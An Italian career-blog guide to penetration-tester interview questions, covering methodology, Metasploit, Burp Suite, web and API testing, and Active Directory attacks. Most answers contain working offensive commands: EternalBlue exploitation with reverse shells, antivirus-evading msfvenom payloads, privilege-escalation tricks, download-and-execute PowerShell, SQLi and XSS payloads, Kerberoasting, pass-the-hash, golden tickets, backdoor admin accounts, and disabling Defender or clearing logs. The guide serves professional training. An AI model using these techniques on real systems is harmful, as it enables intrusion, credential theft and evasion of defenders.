dicembre 21, 2025
14 min di lettura

Domande per il Colloquio di Penetration Tester: Guida Completa

interview
career-advice
job-search
Domande per il Colloquio di Penetration Tester: Guida Completa
MB

Milad Bonakdar

Autore

Padroneggia i concetti del penetration testing con domande complete per il colloquio che coprono l'hacking etico, la valutazione delle vulnerabilità, Metasploit, Burp Suite e le metodologie di security testing per i ruoli di penetration tester.


Introduzione

I Penetration Tester (Ethical Hacker) identificano le vulnerabilità di sicurezza simulando attacchi reali. Questo ruolo richiede una profonda conoscenza delle tecniche di hacking, degli strumenti di sicurezza e delle metodologie per aiutare le organizzazioni a rafforzare le proprie difese.

Questa guida copre le domande essenziali per un colloquio per penetration tester, concentrandosi sull'ethical hacking, sulla valutazione delle vulnerabilità e sugli strumenti di test di sicurezza.


Fondamenti del Penetration Testing

1. Quali sono le fasi di un penetration test?

Risposta: Metodologia strutturata di penetration testing:

1. Pianificazione e Ricognizione:

  • Definire ambito e obiettivi
  • Raccogliere informazioni (passive/attive)

2. Scansione:

  • Identificare host attivi, porte aperte, servizi
  • Scansione delle vulnerabilità

3. Ottenere Accesso:

  • Sfruttare le vulnerabilità
  • Ottenere un punto d'appoggio iniziale

4. Mantenere l'Accesso:

  • Installare backdoor
  • Escalation dei privilegi

5. Analisi e Reportistica:

  • Documentare i risultati
  • Fornire raccomandazioni di correzione
Loading diagram...

Esempio di Ricognizione:

# Ricognizione passiva
whois target.com
nslookup target.com
dig target.com ANY

# Ricognizione attiva
nmap -sn 192.168.1.0/24  # Scoperta degli host
nmap -sV -sC target.com  # Rilevamento del servizio/versione

Rarità: Molto Comune Difficoltà: Media


Valutazione delle Vulnerabilità

2. Come si stabiliscono le priorità delle vulnerabilità?

Risposta: Prioritizzazione basata sul rischio utilizzando CVSS e il contesto aziendale:

Punteggio CVSS:

  • Critico (9.0-10.0): Esecuzione di codice remoto, bypass dell'autenticazione
  • Alto (7.0-8.9): SQL injection, XSS con accesso ai dati
  • Medio (4.0-6.9): Divulgazione di informazioni, CSRF
  • Basso (0.1-3.9): Perdita di informazioni minori

Fattori di Prioritizzazione:

def calculate_risk_score(vulnerability):
    """Calcola il punteggio di rischio per la vulnerabilità"""
    # Punteggio CVSS di base
    cvss_score = vulnerability.cvss_score
    
    # Sfruttabilità
    if vulnerability.exploit_available:
        exploitability = 1.5
    elif vulnerability.poc_available:
        exploitability = 1.2
    else:
        exploitability = 1.0
    
    # Criticità dell'asset
    asset_value = {
        'critical': 3.0,  # Database di produzione
        'high': 2.0,      # Applicazione web
        'medium': 1.5,    # Strumento interno
        'low': 1.0        # Ambiente di test
    }[vulnerability.asset_criticality]
    
    # Sensibilità dei dati
    data_sensitivity = {
        'pii': 2.0,       # Dati personali
        'financial': 2.5, # Informazioni di pagamento
        'confidential': 1.5,
        'public': 1.0
    }[vulnerability.data_type]
    
    risk_score = cvss_score * exploitability * asset_value * data_sensitivity
    return min(risk_score, 10.0)  # Massimo 10

Rarità: Molto Comune Difficoltà: Media


Metasploit

3. Come si usa Metasploit per sfruttare una vulnerabilità?

Risposta: Flusso di lavoro del Metasploit Framework:

Sfruttamento di Base:

# Avvia Metasploit
msfconsole

# Cerca l'exploit
search ms17-010  # EternalBlue

# Usa l'exploit
use exploit/windows/smb/ms17_010_eternalblue

# Mostra le opzioni
show options

# Imposta il target
set RHOSTS 192.168.1.100

# Imposta il payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Controlla se il target è vulnerabile
check

# Esegui l'exploit
exploit

Comandi Meterpreter:

# Informazioni sul sistema
sysinfo
getuid

# Escalation dei privilegi
getsystem

# Scarica le credenziali
hashdump
load kiwi
cred_all

# Persistenza
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# Pivoting
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

Generazione del Payload:

# Genera una reverse shell
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Codifica per eludere l'AV
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

Rarità: Molto Comune Difficoltà: Medio-Alta


4. Come si esegue l'escalation dei privilegi?

Risposta: L'escalation dei privilegi sfrutta le configurazioni errate per ottenere livelli di accesso più elevati.

Escalation dei Privilegi Linux:

1. Enumerazione:

# Informazioni sul sistema
uname -a
cat /etc/issue
cat /etc/*-release

# Utente corrente e privilegi
id
sudo -l

# Utenti e gruppi
cat /etc/passwd
cat /etc/group

# Binari SUID
find / -perm -4000 -type f 2>/dev/null

# Directory scrivibili
find / -writable -type d 2>/dev/null

# Cron job
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# Connessioni di rete
netstat -antup
ss -tulpn

2. Tecniche Comuni:

Sfruttamento SUID:

# Trova i binari SUID
find / -perm -u=s -type f 2>/dev/null

# Esempio: Sfruttare find
find /home -exec /bin/sh \; -quit

# Esempio: Sfruttare vim
vim -c ':!/bin/sh'

# Esempio: Sfruttare nmap (versioni precedenti)
nmap --interactive
nmap> !sh

Configurazione Errata di Sudo:

# Controlla i permessi sudo
sudo -l

# Esempio di output:
# (ALL) NOPASSWD: /usr/bin/vim

# Sfrutta vim
sudo vim -c ':!/bin/sh'

# Esempio: LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

Exploit del Kernel:

# Controlla la versione del kernel
uname -r

# Cerca exploit
searchsploit linux kernel 4.4.0

# Esempio: Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. Strumenti Automatizzati:

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Escalation dei Privilegi Windows:

1. Enumerazione:

# Informazioni sul sistema
systeminfo
hostname
whoami /all

# Utenti e gruppi
net user
net localgroup administrators

# Processi in esecuzione
tasklist /v
wmic process list full

# Servizi
sc query
wmic service list brief

# Attività pianificate
schtasks /query /fo LIST /v

# Connessioni di rete
netstat -ano

# Software installato
wmic product get name,version

2. Tecniche Comuni:

Percorsi di Servizio Non Racchiusi tra Virgolette:

# Trova i percorsi di servizio non racchiusi tra virgolette
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Sfrutta
C:\Program Files\Vulnerable App\service.exe
# Crea eseguibile dannoso in:
C:\Program.exe

AlwaysInstallElevated:

# Controlla il registro
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Se entrambi sono 1, crea MSI dannoso
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

Impersonificazione del Token:

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. Strumenti Automatizzati:

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (Exploit del Kernel)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

Rarità: Molto Comune Difficoltà: Alta


Burp Suite

5. Come si trova una SQL Injection usando Burp Suite?

Risposta: Test sistematico di SQL injection:

1. Intercetta la Richiesta:

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. Invia al Repeater: Testa i payload manuali:

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. Usa Intruder:

Tipo di Attacco: Sniper
Posizione del Payload: username=§admin§
Lista del Payload:
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. Analizza le Risposte:

  • Diverse lunghezze delle risposte
  • Messaggi di errore
  • Ritardi di tempo (blind SQLi)

Test Avanzato:

# Rilevamento di SQL injection cieca
import requests
import time

def test_blind_sqli(url, param):
    # Rilevamento basato sul tempo
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] Blind SQLi trovata con payload: {payload}")
            return True
    
    return False

Rarità: Molto Comune Difficoltà: Media


Test delle Applicazioni Web

6. Come si testano le vulnerabilità XSS?

Risposta: Approccio completo al test XSS:

Tipi di XSS:

  1. Riflesso: Payload nell'URL/modulo, riflesso immediatamente
  2. Memorizzato: Payload memorizzato nel database
  3. DOM-based: Vulnerabilità JavaScript lato client

Metodologia di Test:

1. Identifica i Punti di Iniezione:

# Parametri URL
http://target.com/search?q=<script>alert(1)</script>

# Input del modulo
<input name="comment" value="<script>alert(1)</script>">

# Intestazioni HTTP
User-Agent: <script>alert(1)</script>

2. Bypassa i Filtri:

// Payload di base
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// Bypassa i filtri
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // Variazione di maiuscole/minuscole

// Gestori di eventi
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// Payload codificati
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Test XSS con Burp Suite:

Lista Payload di Intruder:
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. Scansione Automatizzata:

# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"

# Dalfox
dalfox url http://target.com/search?q=FUZZ

Rarità: Molto Comune Difficoltà: Media


7. Come si testa la sicurezza delle API?

Risposta: Il test di sicurezza delle API si concentra su autenticazione, autorizzazione e convalida dell'input.

Vulnerabilità Comuni delle API:

1. Autenticazione Compromessa:

# Testa JWT deboli
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# JWT con "alg": "none"
# Modifica il payload e rimuovi la firma

2. Autorizzazione Compromessa:

# IDOR (Insecure Direct Object Reference)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # Prova altri ID utente

# Testa diversi metodi HTTP
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. Assegnazione di Massa:

# Prova ad aggiungere campi di amministratore
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

Test API REST:

# Test automatizzato delle API
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """Testa le vulnerabilità IDOR"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] Accessibile: {user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """Testa il rate limiting"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] Rate limiting applicato dopo {i} richieste")
                return True
        
        print("[-] Nessun rate limiting rilevato")
        return False
    
    def test_injection(self, endpoint, payloads):
        """Testa le vulnerabilità di injection"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # Controlla gli errori SQL
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] Potenziale SQL injection: {payload}")
                print(f"Risposta: {response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """Testa il bypass dell'autenticazione"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] Potenziale bypass dell'autenticazione: {payload}")

# Utilizzo
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

Test GraphQL:

# Query di introspezione
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}
# Iniezione GraphQL
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# Attacco di batching GraphQL
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... ripeti 1000 volte
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

API Fuzzing:

# Utilizzo di ffuf per l'API fuzzing
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# Fuzzing dei parametri
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# Fuzzing del metodo
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite:

// Script pre-richiesta di Postman
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Script di test di Postman
pm.test("Verifica la presenza di errori SQL", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

OWASP API Security Top 10:

  1. Autorizzazione a Livello di Oggetto Compromessa - Testa IDOR
  2. Autenticazione Compromessa - Testa token deboli
  3. Eccessiva Esposizione dei Dati - Controlla i dati di risposta
  4. Mancanza di Risorse e Rate Limiting - Testa DoS
  5. Autorizzazione a Livello di Funzione Compromessa - Testa l'escalation dei privilegi
  6. Assegnazione di Massa - Testa l'inquinamento dei parametri
  7. Errata Configurazione della Sicurezza - Controlla le intestazioni, CORS
  8. Injection - Testa SQLi, NoSQLi, command injection
  9. Gestione Impropria degli Asset - Trova le vecchie versioni dell'API
  10. Logging e Monitoraggio Insufficienti - Controlla i log di audit

Rarità: Comune Difficoltà: Medio-Alta


Penetration Testing di Rete

8. Come si esegue un penetration test di rete?

Risposta: Valutazione strutturata della rete:

1. Scoperta della Rete:

# Ping sweep
nmap -sn 192.168.1.0/24

# Scansione ARP (rete locale)
arp-scan -l

# Identifica gli host attivi
netdiscover -r 192.168.1.0/24

2. Scansione delle Porte:

# Scansione TCP SYN (stealth)
nmap -sS 192.168.1.100

# Rilevamento della versione del servizio
nmap -sV 192.168.1.100

# Rilevamento del sistema operativo
nmap -O 192.168.1.100

# Scansione aggressiva
nmap -A -T4 192.168.1.100

# Tutte le porte
nmap -p- 192.168.1.100

3. Scansione delle Vulnerabilità:

# Script NSE di Nmap
nmap --script vuln 192.168.1.100

# Vulnerabilità specifica
nmap --script smb-vuln-ms17-010 192.168.1.100

# OpenVAS/Nessus per la scansione completa

4. Sfruttamento:

# Sfruttamento SMB
use exploit/windows/smb/ms17_010_eternalblue

# Brute force SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. Post-Sfruttamento:

# Movimento laterale
# Scarico delle credenziali
# Escalation dei privilegi
# Persistenza

Rarità: Molto Comune Difficoltà: Alta


9. Come si attaccano gli ambienti Active Directory?

Risposta: Active Directory è un obiettivo primario con molti vettori di attacco.

Enumerazione:

# Enumerazione PowerView
Import-Module PowerView.ps1

# Ottieni informazioni sul dominio
Get-Domain
Get-DomainController

# Enumera gli utenti
Get-DomainUser
Get-DomainUser -Identity administrator

# Enumera i gruppi
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# Trova le condivisioni
Find-DomainShare -CheckShareAccess

# Trova i computer
Get-DomainComputer

BloodHound:

# Raccogli i dati con SharpHound
.\SharpHound.exe -c All

# Oppure con PowerShell
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Carica JSON nella GUI di BloodHound
# Analizza i percorsi di attacco agli amministratori di dominio

Kerberoasting:

# Richiedi i ticket di servizio
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# Oppure con Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Cracca con hashcat
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting:

# Trova gli utenti con "Non richiedere la preautenticazione Kerberos"
Get-DomainUser -PreauthNotRequired

# Richiedi AS-REP
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Cracca
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash:

# Utilizzo di Impacket
python3 psexec.py -hashes :ntlmhash [email protected]

# Utilizzo di CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# Scarica SAM
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket:

# Esporta i ticket con Mimikatz
mimikatz # sekurlsa::tickets /export

# Inietta il ticket
mimikatz # kerberos::ptt ticket.kirbi

# Oppure con Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket:

# Ottieni l'hash krbtgt
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# Crea il golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# Inietta il ticket
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket:

# Ottieni l'hash dell'account di servizio
mimikatz # sekurlsa::logonpasswords

# Crea il silver ticket per un servizio specifico
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

Attacco DCSync:

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

Movimento Laterale:

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell Remoting
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

Persistenza:

# Crea un amministratore di dominio
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Golden ticket (a lungo termine)
# Silver ticket (servizio specifico)

# Skeleton key (Mimikatz)
mimikatz # misc::skeleton
# Ora qualsiasi utente può autenticarsi con la password "mimikatz"

Elusione della Difesa:

# Disabilita Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# Cancella i log degli eventi
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Offusca PowerShell
Invoke-Obfuscation

Rarità: Comune Difficoltà: Alta


Reportistica

10. Cosa deve includere un report di penetration testing?

Risposta: Struttura completa del report:

Executive Summary:

  • Risultati di alto livello
  • Impatto aziendale
  • Panoramica del rischio
  • Raccomandazioni

Dettagli Tecnici:

## Risultato: SQL Injection nel Modulo di Login

**Gravità:** Critica (CVSS 9.8)

**Descrizione:**
Il modulo di login in /admin/login è vulnerabile a SQL injection,
consentendo agli aggressori di bypassare l'autenticazione e accedere al pannello di amministrazione.

**Asset Coinvolto:**
- URL: https://target.com/admin/login
- Parametro: username
- Metodo: POST

**Prova di Concetto:**
```http
POST /admin/login HTTP/1.1
Host: target.com

username=admin' OR '1'='1'--&password=anything

Impatto:

  • Accesso non autorizzato al pannello di amministrazione
  • Accesso a dati sensibili dei clienti
  • Potenziale compromissione del database

Correzione:

  1. Utilizzare query parametrizzate
  2. Implementare la convalida dell'input
  3. Applicare il principio del minimo privilegio all'utente del database

**Rarità:** Molto Comune
**Difficoltà:** Media

---

## Conclusione

I colloqui per penetration tester richiedono esperienza pratica e profonda conoscenza tecnica. Concentrati su:

1. **Metodologia:** Approccio di test strutturato, documentazione
2. **Valutazione delle Vulnerabilità:** Prioritizzazione del rischio, punteggio CVSS
3. **Strumenti:** Metasploit, Burp Suite, Nmap, script personalizzati
4. **Escalation dei Privilegi:** Tecniche Linux e Windows, strumenti di automazione
5. **Test Web:** SQL injection, XSS, bypass dell'autenticazione
6. **Test API:** Sicurezza REST/GraphQL, falle di autorizzazione
7. **Test di Rete:** Scansione, sfruttamento, movimento laterale
8. **Active Directory:** Kerberoasting, Pass-the-Hash, BloodHound
9. **Reportistica:** Documentazione chiara, impatto aziendale, correzione

Esercitati in ambienti legali (HackTheBox, TryHackMe), persegui certificazioni (OSCP, CEH) e rimani aggiornato sulle ultime vulnerabilità. Buona fortuna!
Newsletter subscription

Consigli di carriera settimanali che funzionano davvero

Ricevi le ultime idee direttamente nella tua casella di posta

Decorative doodle

Smetti di Candidarti. Inizia a Essere Assunto.

Trasforma il tuo curriculum in un magnete per colloqui con l'ottimizzazione basata sull'IA di cui si fidano i cercatori di lavoro in tutto il mondo.

Inizia gratis

Condividi questo post

Vieni Assunto il 50% Più Velocemente

Le persone in cerca di lavoro che utilizzano curriculum professionali migliorati dall'IA trovano ruoli in una media di 5 settimane rispetto alle 10 standard. Smetti di aspettare e inizia a fare colloqui.